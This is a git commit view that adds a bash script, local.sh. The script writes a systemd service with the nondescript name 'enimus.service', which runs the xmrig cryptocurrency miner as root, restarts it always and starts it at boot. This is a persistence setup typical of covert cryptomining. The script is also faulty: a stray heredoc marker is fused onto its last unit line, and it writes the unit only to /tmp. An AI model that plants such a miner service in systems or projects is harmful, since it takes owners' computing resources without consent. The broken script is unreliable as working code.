Add files via upload
This commit is contained in:
parent
8ab9f0f860
commit
c7ceafe076
3 changed files with 103 additions and 0 deletions
23
local.sh
Normal file
23
local.sh
Normal file
|
@ -0,0 +1,23 @@
|
|||
#!/bin/bash -ex
|
||||
|
||||
sudo cat >/tmp/enimus.service<<EOL
|
||||
|
||||
[Unit]
|
||||
|
||||
Description=enimus.service
|
||||
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
|
||||
ExecStart=/usr/local/bin/xmrig --config=/root/xmr/config.json
|
||||
|
||||
Restart=always
|
||||
|
||||
User=root
|
||||
|
||||
[Install]
|
||||
|
||||
WantedBy=multi-user.target<<EOL
|
||||
|
||||
EOL
|
Loading…
Add table
Add a link
Reference in a new issue